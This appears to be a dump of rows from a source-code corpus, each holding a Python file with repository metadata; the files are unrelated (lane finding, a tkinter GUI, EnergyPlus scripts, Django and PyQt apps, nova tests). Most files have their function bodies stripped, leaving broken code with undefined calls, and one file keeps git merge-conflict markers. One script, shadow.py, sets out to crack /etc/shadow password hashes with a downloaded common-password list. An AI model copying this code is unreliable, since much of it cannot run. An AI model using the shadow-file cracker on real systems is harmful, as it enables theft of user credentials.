from ... | 38.520661 | 131 | 0.692341 |
17991b0681ca220a061773321fe1b18db4953f55 | 1,661 | py | Python | test_images/transform_matrix.py | OussamaFatmi/udacity_advanced_lane_finding_project | 788002e4265d871b327c51bf4640575ec3ee0e93 | [
"MIT"
] | null | null | null | test_images/transform_matrix.py | OussamaFatmi/udacity_advanced_lane_finding_project | 788002e4265d871b327c51bf4640575ec3ee0e93 | [
"MIT"
] | null | null | null | test_images/transform_matrix.py | OussamaFatmi/udacity_advanced_lane_finding_project | 788002e4265d871b327c51bf4640575ec3ee0e93 | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import glob as glb
import os
import cv2
import pickle
#################################################################################################################
#################################################################... | 24.426471 | 113 | 0.564118 |
179a07b2324a3c412468f0e2fc80b9b3ba03bf2e | 11,789 | py | Python | interfaces.py | Matthew-Steen/StarPredictions | 3b899c36031cdb3710aa647e650976c32229b374 | [
"Apache-2.0"
] | null | null | null | interfaces.py | Matthew-Steen/StarPredictions | 3b899c36031cdb3710aa647e650976c32229b374 | [
"Apache-2.0"
] | null | null | null | interfaces.py | Matthew-Steen/StarPredictions | 3b899c36031cdb3710aa647e650976c32229b374 | [
"Apache-2.0"
] | null | null | null | from tkinter import *
from tkinter import ttk
from PIL import ImageTk,Image
import pandas as pd
import math
import pickle
#import models
with open("pickle_model_numPlanets.pkl", 'rb') as file1:
pickle_model1 = pickle.load(file1, encoding='ISO-8859-1')
with open("pickle_model_PlanetRadius.pkl", 'rb') as file2:
p... | 42.559567 | 117 | 0.657732 |
179a8f6554e7a10adf9ff8335c2c5e62402c6572 | 3,588 | py | Python | energyplus/EnergyPlus-9-0-1/workflows/app_g_postprocess.py | vcmorini/building-design | bf7bd4ea0713cfac5fe7aa3d8ea68eb8f27d5701 | [
"BSD-3-Clause"
] | null | null | null | energyplus/EnergyPlus-9-0-1/workflows/app_g_postprocess.py | vcmorini/building-design | bf7bd4ea0713cfac5fe7aa3d8ea68eb8f27d5701 | [
"BSD-3-Clause"
] | null | null | null | energyplus/EnergyPlus-9-0-1/workflows/app_g_postprocess.py | vcmorini/building-design | bf7bd4ea0713cfac5fe7aa3d8ea68eb8f27d5701 | [
"BSD-3-Clause"
] | 1 | 2021-03-22T10:48:50.000Z | 2021-03-22T10:48:50.000Z | import os
import platform
import subprocess
from eplaunch.workflows.base import BaseEPLaunchWorkflow1, EPLaunchWorkflowResponse1
| 37.768421 | 118 | 0.589465 |
179af91ce7204a27fe03881972e83f34b74c4604 | 1,726 | py | Python | sam_et_max/shadow/shadow.py | bertrandvidal/stuff | 107628d42176eebd6e79adec3cf46bd686f40643 | [
"Unlicense"
] | null | null | null | sam_et_max/shadow/shadow.py | bertrandvidal/stuff | 107628d42176eebd6e79adec3cf46bd686f40643 | [
"Unlicense"
] | 1 | 2021-03-06T15:01:49.000Z | 2021-03-06T15:01:49.000Z | sam_et_max/shadow/shadow.py | bertrandvidal/stuff | 107628d42176eebd6e79adec3cf46bd686f40643 | [
"Unlicense"
] | null | null | null | import os
from uuid import uuid4
from zipfile import ZipFile
import urllib2
import crypt
import spwd
import sys
ZIP_URL = "http://xato.net/files/10k%20most%20common.zip"
PASSWORDS_FILE = "10k most common.txt"
ZIP_FILE = os.path.join(os.path.abspath(os.path.dirname(__file__)), str(uuid4()))
if not os.path.exists(PASSW... | 30.821429 | 81 | 0.710313 |
179b2a5d9486d56e038730a828cd7fd45bf67241 | 249 | py | Python | divisor_selection.py | FoxProklya/Step-Python | 67514509655e552fc5adcc7963b971ef6f0bb46a | [
"MIT"
] | null | null | null | divisor_selection.py | FoxProklya/Step-Python | 67514509655e552fc5adcc7963b971ef6f0bb46a | [
"MIT"
] | null | null | null | divisor_selection.py | FoxProklya/Step-Python | 67514509655e552fc5adcc7963b971ef6f0bb46a | [
"MIT"
] | null | null | null |
n = int(input())
print(reg(n))
| 13.833333 | 27 | 0.421687 |
179d33a7638989f862bfe9250df35939c210d7ff | 3,469 | py | Python | scripts/component_graph/server/__main__.py | opensource-assist/fuschia | 66646c55b3d0b36aae90a4b6706b87f1a6261935 | [
"BSD-3-Clause"
] | 3 | 2020-08-02T04:46:18.000Z | 2020-08-07T10:10:53.000Z | scripts/component_graph/server/__main__.py | opensource-assist/fuschia | 66646c55b3d0b36aae90a4b6706b87f1a6261935 | [
"BSD-3-Clause"
] | null | null | null | scripts/component_graph/server/__main__.py | opensource-assist/fuschia | 66646c55b3d0b36aae90a4b6706b87f1a6261935 | [
"BSD-3-Clause"
] | 1 | 2020-08-07T10:11:49.000Z | 2020-08-07T10:11:49.000Z | #!/usr/bin/env python3
# Copyright 2019 The Fuchsia Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Entry point to start the server.
Main will launch a root handler on port 8080 by default and start serving static
files
and api requ... | 36.135417 | 121 | 0.65898 |
179e8bed3d18cb3fabf8760c1085207e9cb4293c | 4,960 | py | Python | django/prof_education/reports/data_sources/students.py | sergeymirasov/h-edu | 6e4557af7b55f73028149e48cec06ac0974e2253 | [
"MIT"
] | null | null | null | django/prof_education/reports/data_sources/students.py | sergeymirasov/h-edu | 6e4557af7b55f73028149e48cec06ac0974e2253 | [
"MIT"
] | null | null | null | django/prof_education/reports/data_sources/students.py | sergeymirasov/h-edu | 6e4557af7b55f73028149e48cec06ac0974e2253 | [
"MIT"
] | null | null | null | from django.db.models import Avg, Count
from prof_education.regions.models import Region
from prof_education.students.models import Student
from ..column_sets import ColumnFormats, ColumnSet, ColumnSetItem
from ..columns import AggrColumn, IntegerAggrColumn
from ..filters import ModelChoicesFilter, NumberFilter
from ... | 34.444444 | 88 | 0.491935 |
179f9080a9328aab6e81ea75972c9be8714a2538 | 16,610 | py | Python | developer/developer_helper.py | geodynamics/pylith_installer | 6c4f49f6beea95b97e1d6e2a293b87fdf65c3702 | [
"MIT"
] | 6 | 2015-03-06T09:41:11.000Z | 2021-11-04T11:43:48.000Z | developer/developer_helper.py | geodynamics/pylith_installer | 6c4f49f6beea95b97e1d6e2a293b87fdf65c3702 | [
"MIT"
] | 22 | 2016-02-25T00:02:50.000Z | 2021-12-02T03:10:40.000Z | developer/developer_helper.py | geodynamics/pylith_installer | 6c4f49f6beea95b97e1d6e2a293b87fdf65c3702 | [
"MIT"
] | 7 | 2015-10-07T07:23:28.000Z | 2022-03-21T17:25:28.000Z | #!/usr/bin/env python3
"""Application for managing the PyLith build environment.
"""
import sys
import os
import argparse
import subprocess
import configparser
def create_package(name, config):
if name == "pythia":
return Pythia(config)
elif name == "spatialdata":
return Spatialdata(config)... | 35.72043 | 119 | 0.554064 |
179fb0ac02a761881f32ab849809174b33d74568 | 155 | py | Python | main.py | ashish-khulbey/Test-Repo | 2f1e998bdffca65f400046bdfb3fd354c959f784 | [
"Apache-2.0"
] | null | null | null | main.py | ashish-khulbey/Test-Repo | 2f1e998bdffca65f400046bdfb3fd354c959f784 | [
"Apache-2.0"
] | null | null | null | main.py | ashish-khulbey/Test-Repo | 2f1e998bdffca65f400046bdfb3fd354c959f784 | [
"Apache-2.0"
] | null | null | null | <<<<<<< HEAD
print("Hello, from local repo!")
=======
print("Hello, World!")
print("Hello, from Github!")
>>>>>>> afa8fcd69f454d2ea375b62996d0354e2ad6cb1e
| 22.142857 | 48 | 0.658065 |
179ffdbecb318a9a4b54e80d53aa7ef14fa3f992 | 10,732 | py | Python | models/nms.py | haohlin/pointgmm-primitive-detection | 08ff42271a1d5b85d6b25de0f54be4e50fddff3e | [
"MIT"
] | null | null | null | models/nms.py | haohlin/pointgmm-primitive-detection | 08ff42271a1d5b85d6b25de0f54be4e50fddff3e | [
"MIT"
] | null | null | null | models/nms.py | haohlin/pointgmm-primitive-detection | 08ff42271a1d5b85d6b25de0f54be4e50fddff3e | [
"MIT"
] | null | null | null | # 3D IoU caculate code for 3D object detection
# Kent 2018/12
import numpy as np
import torch
from scipy.spatial import ConvexHull
from numpy import *
import matplotlib
from matplotlib import cm
from mpl_toolkits.mplot3d import Axes3D
from mpl_toolkits.mplot3d.art3d import Poly3DCollection, Line3DCollection
import ma... | 39.025455 | 107 | 0.557678 |
17a18ef6ca78acd0097ee9162558f73001358320 | 1,010 | py | Python | uap/post/forms.py | Tyromancer/UAP-Application-Platform-Django | 38ee22b5cfa5a8ea9a3775348665727faa6415b9 | [
"MIT"
] | null | null | null | uap/post/forms.py | Tyromancer/UAP-Application-Platform-Django | 38ee22b5cfa5a8ea9a3775348665727faa6415b9 | [
"MIT"
] | null | null | null | uap/post/forms.py | Tyromancer/UAP-Application-Platform-Django | 38ee22b5cfa5a8ea9a3775348665727faa6415b9 | [
"MIT"
] | null | null | null | from django import forms
from django.forms import ModelForm, CharField
from ckeditor.widgets import CKEditorWidget
from .models import URP, Application
| 24.047619 | 68 | 0.665347 |
17a2306fb6851d6bddff78688a0dc1453a4880b9 | 18,325 | py | Python | src/app.py | afunTW/pyqt5-video-labeling | 3894d21b0ea6b938a499334d8e75f8085281609b | [
"MIT"
] | 6 | 2018-12-13T09:03:48.000Z | 2020-09-04T12:45:52.000Z | src/app.py | afunTW/pyqt5-video-labeling | 3894d21b0ea6b938a499334d8e75f8085281609b | [
"MIT"
] | 1 | 2018-12-24T11:47:41.000Z | 2018-12-27T03:17:58.000Z | src/app.py | afunTW/pyqt5-video-labeling | 3894d21b0ea6b938a499334d8e75f8085281609b | [
"MIT"
] | null | null | null | import logging
from collections import OrderedDict
from copy import deepcopy
from datetime import datetime, timedelta
from pathlib import Path
from time import sleep
import cv2
import numpy as np
import pandas as pd
from PyQt5.QtCore import Qt, QTimer, pyqtSlot
from PyQt5.QtGui import QColor, QImage, QPixmap
from PyQt... | 46.392405 | 103 | 0.614734 |
17a267a4b9ead7e6753a52aa7e1548ef20870c0f | 190 | py | Python | lightflow_rest/__main__.py | AustralianSynchrotron/lightflow-rest | 262b6b74995d980933bacddb3ecf8d543c36e3e6 | [
"BSD-3-Clause"
] | null | null | null | lightflow_rest/__main__.py | AustralianSynchrotron/lightflow-rest | 262b6b74995d980933bacddb3ecf8d543c36e3e6 | [
"BSD-3-Clause"
] | null | null | null | lightflow_rest/__main__.py | AustralianSynchrotron/lightflow-rest | 262b6b74995d980933bacddb3ecf8d543c36e3e6 | [
"BSD-3-Clause"
] | null | null | null |
def main(args):
""" Main entry point for the extension. """
from lightflow_rest.service import app
app.run()
if __name__ == '__main__':
import sys
main(sys.argv[1:])
| 15.833333 | 47 | 0.626316 |
17a3ca8c707b4b579703eeac80d600f19cd5f8df | 184 | py | Python | Exercicios/ex013.py | LuccasAls/Python-Exercicos | 6f51eec061cd1d6d5bc827a46670d2377162afee | [
"MIT"
] | null | null | null | Exercicios/ex013.py | LuccasAls/Python-Exercicos | 6f51eec061cd1d6d5bc827a46670d2377162afee | [
"MIT"
] | null | null | null | Exercicios/ex013.py | LuccasAls/Python-Exercicos | 6f51eec061cd1d6d5bc827a46670d2377162afee | [
"MIT"
] | null | null | null | salario = float(input('Qual o seu salario: '))
aumento = salario*1.15
print('O seu salrio de R${:.2f} recebeu um aumento de 15% seu novo salrio R${:.2f}'.format(salario, aumento))
| 46 | 113 | 0.695652 |
bd56ca0b6e43157967259b833898c6b50c2d04af | 10,532 | py | Python | datasets/epa_historical_air_quality/_images/run_csv_transform_kub/csv_transform.py | renovate-bot/public-datasets-pipelines | d2b5e527d9d2dcc8e01f5209e7b9409dfe2b62a8 | [
"Apache-2.0"
] | 90 | 2021-04-09T19:20:19.000Z | 2022-03-31T16:03:14.000Z | datasets/epa_historical_air_quality/_images/run_csv_transform_kub/csv_transform.py | renovate-bot/public-datasets-pipelines | d2b5e527d9d2dcc8e01f5209e7b9409dfe2b62a8 | [
"Apache-2.0"
] | 125 | 2021-04-19T20:33:26.000Z | 2022-03-30T21:45:49.000Z | datasets/epa_historical_air_quality/_images/run_csv_transform_kub/csv_transform.py | renovate-bot/public-datasets-pipelines | d2b5e527d9d2dcc8e01f5209e7b9409dfe2b62a8 | [
"Apache-2.0"
] | 54 | 2021-04-29T23:17:36.000Z | 2022-03-31T05:15:23.000Z | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 36.19244 | 100 | 0.628466 |
bd579e96ab18b4b26c6314b9af308cb1bb6d010e | 2,914 | py | Python | fullstack/migrations/0002_booking_schedule_tournament_turf.py | arondasamuel123/TurfAPI | 747dec3d1bbd052d7b9e8327d407059838c495f3 | [
"MIT"
] | null | null | null | fullstack/migrations/0002_booking_schedule_tournament_turf.py | arondasamuel123/TurfAPI | 747dec3d1bbd052d7b9e8327d407059838c495f3 | [
"MIT"
] | 3 | 2021-03-19T01:27:34.000Z | 2021-06-10T18:49:14.000Z | fullstack/migrations/0002_booking_schedule_tournament_turf.py | arondasamuel123/TurfAPI | 747dec3d1bbd052d7b9e8327d407059838c495f3 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.4 on 2020-03-30 13:49
import cloudinary.models
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
| 47.770492 | 168 | 0.590597 |
bd57fd5fe76c3a3e9fff921ebafb1d78a3233de0 | 14,690 | py | Python | metric_learn/_util.py | Aaron1993/metric-learn | bf5c7224cc7ad4c025e15b247a80e076b7f75062 | [
"MIT"
] | 1 | 2019-02-24T09:27:30.000Z | 2019-02-24T09:27:30.000Z | metric_learn/_util.py | Aaron1993/metric-learn | bf5c7224cc7ad4c025e15b247a80e076b7f75062 | [
"MIT"
] | null | null | null | metric_learn/_util.py | Aaron1993/metric-learn | bf5c7224cc7ad4c025e15b247a80e076b7f75062 | [
"MIT"
] | null | null | null | import numpy as np
import six
from sklearn.utils import check_array
from sklearn.utils.validation import check_X_y
from metric_learn.exceptions import PreprocessorError
# hack around lack of axis kwarg in older numpy versions
try:
np.linalg.norm([[4]], axis=1)
except TypeError:
else:
def check_input(i... | 40.46832 | 80 | 0.636419 |
bd589307c04ab18784a68905531d2db41773c8fc | 134 | py | Python | configs/_base_/explain/count_concepts.py | CAMP-eXplain-AI/imba-explain | e41b4ca5de63955cb0e925aad9599f38c5a3e973 | [
"MIT"
] | null | null | null | configs/_base_/explain/count_concepts.py | CAMP-eXplain-AI/imba-explain | e41b4ca5de63955cb0e925aad9599f38c5a3e973 | [
"MIT"
] | null | null | null | configs/_base_/explain/count_concepts.py | CAMP-eXplain-AI/imba-explain | e41b4ca5de63955cb0e925aad9599f38c5a3e973 | [
"MIT"
] | null | null | null | concept_detector_cfg = dict(
quantile_threshold=0.99,
with_bboxes=True,
count_disjoint=True,
)
target_layer = 'layer3.5'
| 16.75 | 28 | 0.723881 |
bd58f3dafc6ae31064571d07227cd5dbf844f84c | 601 | py | Python | ConditionalStatement/Firm.py | Rohitm619/Softuni-Python-Basic | 03c9d0b44f5652c99db3b0e42014dd5af50205a2 | [
"MIT"
] | 1 | 2020-09-22T13:25:34.000Z | 2020-09-22T13:25:34.000Z | ConditionalStatement/Firm.py | Rohitm619/Softuni-Python-Basic | 03c9d0b44f5652c99db3b0e42014dd5af50205a2 | [
"MIT"
] | null | null | null | ConditionalStatement/Firm.py | Rohitm619/Softuni-Python-Basic | 03c9d0b44f5652c99db3b0e42014dd5af50205a2 | [
"MIT"
] | 1 | 2020-10-17T09:27:46.000Z | 2020-10-17T09:27:46.000Z | from math import floor
from math import ceil
hours_needed = int(input())
days_for_work = int(input())
overtime_workers = int(input())
normal_shift = 8
learn_time = days_for_work - days_for_work * 10 / 100
hours_for_work = learn_time * normal_shift
overtime = overtime_workers * (2 * days_for_work)
all_time = hours_for... | 31.631579 | 68 | 0.747088 |
bd5ad1d9dd6aa831be0892ccf5368adc8aa6f5ef | 1,258 | py | Python | tests/data_tests/reader_tests/xml_reader_test.py | alueschow/polymatheia | e46a38b3686139bbab3a2fcfaa914d4ca938654e | [
"MIT"
] | 3 | 2020-09-15T15:15:34.000Z | 2021-06-15T10:35:07.000Z | tests/data_tests/reader_tests/xml_reader_test.py | alueschow/polymatheia | e46a38b3686139bbab3a2fcfaa914d4ca938654e | [
"MIT"
] | 7 | 2020-09-03T12:53:34.000Z | 2020-10-05T09:14:29.000Z | tests/data_tests/reader_tests/xml_reader_test.py | alueschow/polymatheia | e46a38b3686139bbab3a2fcfaa914d4ca938654e | [
"MIT"
] | 2 | 2020-10-13T09:12:21.000Z | 2021-04-15T14:19:06.000Z | """Test the :class:`~polymatheia.data.reader.LocalReader`."""
import os
import pytest
from lxml.etree import XMLSyntaxError
from polymatheia.data.reader import XMLReader
def test_xml_reader():
"""Test that the XML local reading works."""
count = 0
for record in XMLReader('tests/fixtures/xml_reader_test'... | 29.952381 | 74 | 0.670111 |
bd5ad960a3192280c44dddfe3d9acdbbbbcded14 | 113 | py | Python | realtime-analysis-with-simple-model/app/__init__.py | natanascimento/realtime-image-analysis | 1df09874e02c59991f5e9cd39d3ad5d09a167fef | [
"MIT"
] | null | null | null | realtime-analysis-with-simple-model/app/__init__.py | natanascimento/realtime-image-analysis | 1df09874e02c59991f5e9cd39d3ad5d09a167fef | [
"MIT"
] | null | null | null | realtime-analysis-with-simple-model/app/__init__.py | natanascimento/realtime-image-analysis | 1df09874e02c59991f5e9cd39d3ad5d09a167fef | [
"MIT"
] | null | null | null | from app.infrastructure.repositories.camera.capture import CameraCapture
| 18.833333 | 72 | 0.778761 |
bd5af3862d9ae1e788f1059ee6f29b0898660ded | 13,406 | py | Python | fipu_face/fipu_face.py | fipu-lab/fipu-face | ac6c3da4f492a07b8082d9ec0f570f87a8125478 | [
"MIT"
] | 1 | 2020-07-20T20:13:25.000Z | 2020-07-20T20:13:25.000Z | fipu_face/fipu_face.py | fipu-lab/fipu-face | ac6c3da4f492a07b8082d9ec0f570f87a8125478 | [
"MIT"
] | null | null | null | fipu_face/fipu_face.py | fipu-lab/fipu-face | ac6c3da4f492a07b8082d9ec0f570f87a8125478 | [
"MIT"
] | 1 | 2020-08-09T07:51:49.000Z | 2020-08-09T07:51:49.000Z | from fipu_face import retina_face as rf
import binascii
import time
from fipu_face.utils import *
from fipu_face.img_utils import *
from exceptions.image_exception import *
from fipu_face.img_config import *
from fipu_face.segmentation.bg_segmentation import get_non_white_bg_pct
# from fipu_face.facial_landmarks.emoti... | 35.941019 | 118 | 0.679174 |
bd5cd233f50b8378b48ebc3a3d04a46dc0da5943 | 1,579 | py | Python | examples/pix2pose/legacy/processors.py | dema-software-solutions/paz-1 | e75ab1ba5b0980ee76ae6bd95545497665d69304 | [
"MIT"
] | null | null | null | examples/pix2pose/legacy/processors.py | dema-software-solutions/paz-1 | e75ab1ba5b0980ee76ae6bd95545497665d69304 | [
"MIT"
] | null | null | null | examples/pix2pose/legacy/processors.py | dema-software-solutions/paz-1 | e75ab1ba5b0980ee76ae6bd95545497665d69304 | [
"MIT"
] | null | null | null | import numpy as np
from paz.abstract import Processor
from paz.backend.keypoints import project_points3D
from paz.backend.keypoints import build_cube_points3D
from paz.backend.image import draw_cube
from paz.processors import DrawBoxes3D
| 39.475 | 75 | 0.697277 |
bd5d23f9bc344ef99f718b0f173cf309fcfff3a0 | 7,366 | py | Python | GalleryMan/utils/infoFinder.py | 0xsapphir3/GalleryMan | b04f4ccdbb9004ed9e915d1cd0ddf36ccffe386c | [
"MIT"
] | 9 | 2021-08-21T01:05:13.000Z | 2022-01-26T15:06:32.000Z | GalleryMan/utils/infoFinder.py | AsianCat54x/galleryman | b04f4ccdbb9004ed9e915d1cd0ddf36ccffe386c | [
"MIT"
] | 1 | 2021-08-19T09:42:06.000Z | 2021-08-19T09:42:06.000Z | GalleryMan/utils/infoFinder.py | AsianCat54x/galleryman | b04f4ccdbb9004ed9e915d1cd0ddf36ccffe386c | [
"MIT"
] | 2 | 2021-08-19T08:13:00.000Z | 2021-08-24T18:27:10.000Z | from PyQt5.QtGui import QKeySequence, QPixmap
from GalleryMan.assets.QtHelpers import Animation, PopUpMessage
import os
from PIL import Image
from PyQt5.QtCore import QRect, Qt
from PyQt5.QtWidgets import QGraphicsScene, QGraphicsView, QLabel, QLineEdit, QShortcut, QVBoxLayout
| 29.701613 | 248 | 0.543443 |
bd5dabddcca02a44a49996681467a45682893878 | 1,135 | py | Python | emails/spiders/email-template-spider.py | ThrowsException/reallygoodemails-scraper | 264981291ddab16c7d25d210960897e8a223ca07 | [
"MIT"
] | null | null | null | emails/spiders/email-template-spider.py | ThrowsException/reallygoodemails-scraper | 264981291ddab16c7d25d210960897e8a223ca07 | [
"MIT"
] | null | null | null | emails/spiders/email-template-spider.py | ThrowsException/reallygoodemails-scraper | 264981291ddab16c7d25d210960897e8a223ca07 | [
"MIT"
] | null | null | null | import scrapy
from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from emails.items import ImageItem
| 30.675676 | 67 | 0.538326 |
bd604150239a9534722ee5422497bcf06c4007f6 | 2,862 | py | Python | gsflow/builder/controlfile_builder.py | usgs-pygsflow/pygsflow | 66a6dc2848d6ea41c6e776a4226960d07dcbc85b | [
"Unlicense"
] | 1 | 2019-05-24T17:16:32.000Z | 2019-05-24T17:16:32.000Z | gsflow/builder/controlfile_builder.py | jonathanqv/pygsflow | d671fdd84245ecb421a0fcab17a578425b514e93 | [
"Unlicense"
] | 1 | 2019-05-21T23:13:10.000Z | 2019-05-21T23:13:10.000Z | gsflow/builder/controlfile_builder.py | jonathanqv/pygsflow | d671fdd84245ecb421a0fcab17a578425b514e93 | [
"Unlicense"
] | null | null | null | from .. import ControlFile
from . import Defaults, ControlFileDefaults
| 33.670588 | 79 | 0.589448 |
bd645591fa526734f22677d95b1582ad9c1e729d | 2,371 | py | Python | DataRecording/EMG&force_data recording.py | amirhosein-vedadi/GrippingForcePrediction | bd9eacd0942a9de85bfd66d184d5f3a82781f968 | [
"MIT"
] | null | null | null | DataRecording/EMG&force_data recording.py | amirhosein-vedadi/GrippingForcePrediction | bd9eacd0942a9de85bfd66d184d5f3a82781f968 | [
"MIT"
] | null | null | null | DataRecording/EMG&force_data recording.py | amirhosein-vedadi/GrippingForcePrediction | bd9eacd0942a9de85bfd66d184d5f3a82781f968 | [
"MIT"
] | 1 | 2021-08-19T10:21:26.000Z | 2021-08-19T10:21:26.000Z | from matplotlib import pyplot as plt
from collections import deque
from threading import Lock, Thread
import myo
import numpy as np
import serial
import csv
import re
import time
from datetime import datetime
## serial port and rate for reading F/T sensor data
SERIAL_PORT = 'COM1'
SERIAL_RATE = 1152... | 31.613333 | 173 | 0.556727 |
bd664c8797c32e0b9f240d61989e81a24f01d766 | 4,868 | py | Python | httpcap/__main__.py | birdming22/httpcap | 7f177117655f044f3869f1a469e1f05b50882e48 | [
"BSD-2-Clause"
] | null | null | null | httpcap/__main__.py | birdming22/httpcap | 7f177117655f044f3869f1a469e1f05b50882e48 | [
"BSD-2-Clause"
] | null | null | null | httpcap/__main__.py | birdming22/httpcap | 7f177117655f044f3869f1a469e1f05b50882e48 | [
"BSD-2-Clause"
] | null | null | null | # coding=utf8
from __future__ import unicode_literals, print_function, division
import argparse
import io
import signal
import sys
import six
from httpcap import config, cleanups
from httpcap import live_cap
from httpcap.parse_pcap import parse_pcap_file, run_parser
# when press Ctrl+C
signal.signal(signal.SIGIN... | 35.021583 | 101 | 0.599425 |
bd665cbb30872e6e356793046c9b4863e6327d40 | 67,153 | py | Python | Caracteriz_nubes_Anio.py | cmcuervol/Estefania | 13b564261dfc786b93c77fbc442a568018f87cc9 | [
"MIT"
] | 2 | 2020-09-13T07:55:25.000Z | 2020-09-21T13:36:23.000Z | Caracteriz_nubes_Anio.py | cmcuervol/Estefania | 13b564261dfc786b93c77fbc442a568018f87cc9 | [
"MIT"
] | null | null | null | Caracteriz_nubes_Anio.py | cmcuervol/Estefania | 13b564261dfc786b93c77fbc442a568018f87cc9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import pandas as pd
from datetime import datetime, timedelta
import numpy as np
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import os
import matplotlib.ticker as tck
import matplotlib.font_manager as fm
import math as m
import matplotlib.dates as... | 48.311511 | 172 | 0.69288 |
bd6690f13b0be03c29a961dd953cc9667df187c7 | 1,491 | py | Python | components/collector/src/source_collectors/junit/source_up_to_dateness.py | kargaranamir/quality-time | 1c427c61bee9d31c3526f0a01be2218a7e167c23 | [
"Apache-2.0"
] | 33 | 2016-01-20T07:35:48.000Z | 2022-03-14T09:20:51.000Z | components/collector/src/source_collectors/junit/source_up_to_dateness.py | kargaranamir/quality-time | 1c427c61bee9d31c3526f0a01be2218a7e167c23 | [
"Apache-2.0"
] | 2,410 | 2016-01-22T18:13:01.000Z | 2022-03-31T16:57:34.000Z | components/collector/src/source_collectors/junit/source_up_to_dateness.py | kargaranamir/quality-time | 1c427c61bee9d31c3526f0a01be2218a7e167c23 | [
"Apache-2.0"
] | 21 | 2016-01-16T11:49:23.000Z | 2022-01-14T21:53:22.000Z | """JUnit metric collector."""
from datetime import datetime
from dateutil.parser import parse
from base_collectors import SourceUpToDatenessCollector, XMLFileSourceCollector
from collector_utilities.functions import parse_source_response_xml
from collector_utilities.type import Response
| 57.346154 | 119 | 0.752515 |
bd66aa54eb82c259a3905c51ba14621d46ff0be5 | 677 | py | Python | frappe-bench/apps/erpnext/erpnext/accounts/doctype/purchase_taxes_and_charges_template/purchase_taxes_and_charges_template.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/accounts/doctype/purchase_taxes_and_charges_template/purchase_taxes_and_charges_template.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/accounts/doctype/purchase_taxes_and_charges_template/purchase_taxes_and_charges_template.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from erpnext.accounts.doctype.sales_taxes_and_charges_template.sales_ta... | 35.631579 | 97 | 0.788774 |
bd675f215fc6b915cdf81c3cbf68fb376b4fe0c5 | 2,169 | py | Python | polrev/campaigns/models/local.py | polrev-github/polrev-django | 99108ace1a5307b14c3eccb424a9f9616e8c02ae | [
"MIT"
] | 1 | 2021-12-10T05:54:16.000Z | 2021-12-10T05:54:16.000Z | polrev/campaigns/models/local.py | polrev-github/polrev-django | 99108ace1a5307b14c3eccb424a9f9616e8c02ae | [
"MIT"
] | null | null | null | polrev/campaigns/models/local.py | polrev-github/polrev-django | 99108ace1a5307b14c3eccb424a9f9616e8c02ae | [
"MIT"
] | null | null | null | from django.db import models
from django.utils.translation import gettext_lazy as _
from wagtail.admin.edit_handlers import FieldPanel, TabbedInterface, ObjectList
from .state import StateCampaignPageBase
from areas.widgets.place_widgets import PlaceChooser
from offices.widgets import OfficeTypeChooser, LocalOfficeCh... | 33.369231 | 100 | 0.682342 |
bd67c885ef01668b347e0e4c8de147d6b4859070 | 10,682 | py | Python | nova/tests/functional/db/test_instance_mapping.py | bopopescu/TestNova | fb6a183b54f87cc078dc6de5be89711ec0d9ac26 | [
"Apache-2.0"
] | 2 | 2021-10-11T04:56:25.000Z | 2022-02-16T08:49:29.000Z | nova/tests/functional/db/test_instance_mapping.py | bopopescu/TestNova | fb6a183b54f87cc078dc6de5be89711ec0d9ac26 | [
"Apache-2.0"
] | 132 | 2017-03-27T11:31:52.000Z | 2022-03-30T08:45:02.000Z | nova/tests/functional/db/test_instance_mapping.py | bopopescu/TestNova | fb6a183b54f87cc078dc6de5be89711ec0d9ac26 | [
"Apache-2.0"
] | 8 | 2017-03-27T07:50:38.000Z | 2020-02-14T16:55:56.000Z | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# d... | 41.403101 | 79 | 0.630594 |